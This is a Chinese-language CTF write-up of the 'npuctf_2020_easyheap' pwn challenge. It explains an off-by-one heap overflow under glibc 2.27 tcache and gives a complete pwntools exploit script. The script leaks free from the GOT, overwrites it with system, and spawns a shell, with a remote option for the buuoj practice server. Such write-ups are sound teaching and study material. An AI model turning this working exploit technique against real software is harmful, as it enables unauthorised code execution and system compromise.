逆向
main函数
add函数,可以发现我们只能创建0x18和0x38大小的chunk,而且程序会给我们创建一个chunk来管理我们的chunk
delete函数,并没有UAF漏洞
show函数,可以用来泄漏地址
edit函数,可以看到存在off-by-one漏洞
利用思路
回顾一下ubuntu16.04中的利用思路:
malloc(3个chunk)
off by one溢出改size
free1,free2,进去unsorted bin,泄漏地址
malloc big chunk,修改重叠chunk的fd指针,结束。
在ubuntu18中引进了tcache机制,使得泄漏地址变得更为困难(因为要逃逸tcache bin)
思路大体相同,但是在调试过程中要更为细心。
流程和exp
我们先申请一个chunk来看一下内存分布
可以看到管理chunk中有一个指针,我们想办法来控制它
首先要想办法来泄漏地址,由于我们只能malloc两种size的chunk,我们只能构造出0x41的chunk作为big chunk,把一个管理chunk包含进去,然后free掉bigchunk,这个时候tcache bins里面有两个chunk,一个是0x40大小一个是0x20大小,我们这个时候malloc(0x38)大小的chunk,可以把0x20作为控制信息,0x40作为mem chunk,但是注意,我们之前的bigchunk恰好是管理chunk,也就是说我们拥有了向管理chunk内写入的能力。
我们可以写入elf.got['free'],然后show一下,泄漏出__libc_free,然后覆盖free为system,就能拿shell了
exp:
from pwn import *
from LibcSearcher import *
local = 1
if local == 1:
p = process('./npuctf_2020_easyheap')
else:
p = remote('node3.buuoj.cn',26806)
elf = ELF('./npuctf_2020_easyheap')
libc = ELF('./libc-2.27.so')
def dbg():
context.log_level = 'debug'
def add(size,content):
p.sendlineafter('Your choice :','1')
p.sendlineafter('Size of Heap(0x10 or 0x20 only) :',str(size))
p.sendafter('Content:',content)
def edit(index,content):
p.sendlineafter('Your choice :','2')
p.sendlineafter('Index :',str(index))
p.sendafter('Content:',content)
def show(index):
p.sendlineafter('Your choice :','3')
p.sendlineafter('Index :',str(index))
def free(index):
p.sendlineafter('Your choice :','4')
p.sendlineafter('Index :',str(index))
add(0x18,'a') #chunk 0
pause()
add(0x18,'aaaaaaaa') #chunk 1
add(0x18,'AAAAAAAA') #chunk 2
payload = b'/bin/sh;' + 0x10 * b'A' + b'\x41'
edit(0,payload)
free(1)
payload = p64(0) * 3 + p64(0x21) + p64(0x38) + p64(elf.got['free'])
#payload = p64(0) * 3 + p64(0x21) + p64(0x38) + p64(elf.got['atoi'])
add(0x38,payload) #chunk 1
#dbg()
show(1)
free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("[*] free address: ",hex(free_addr))
'''
#libc_base = free_addr - 0x81540
libc_base = free_addr - 0x35e40
__free_hook = libc_base + 0x3b48e8
system_addr = libc_base + 0x41af0
print("[*] libc_base ---> ",hex(libc_base))
#print("[*] __free_hook ---> ",hex(__free_hook))
print("[*] system_addr ----> ",hex(system_addr))
'''
libc = LibcSearcher('free',free_addr)
libc_base = free_addr - libc.dump('free')
print("[*] libc_base : ",hex(libc_base))
system_addr = libc_base + libc.dump('system')
print("[*] system_addr ----> ",hex(system_addr))
payload = p64(system_addr)
edit(1,payload)
free(0)
p.interactive()
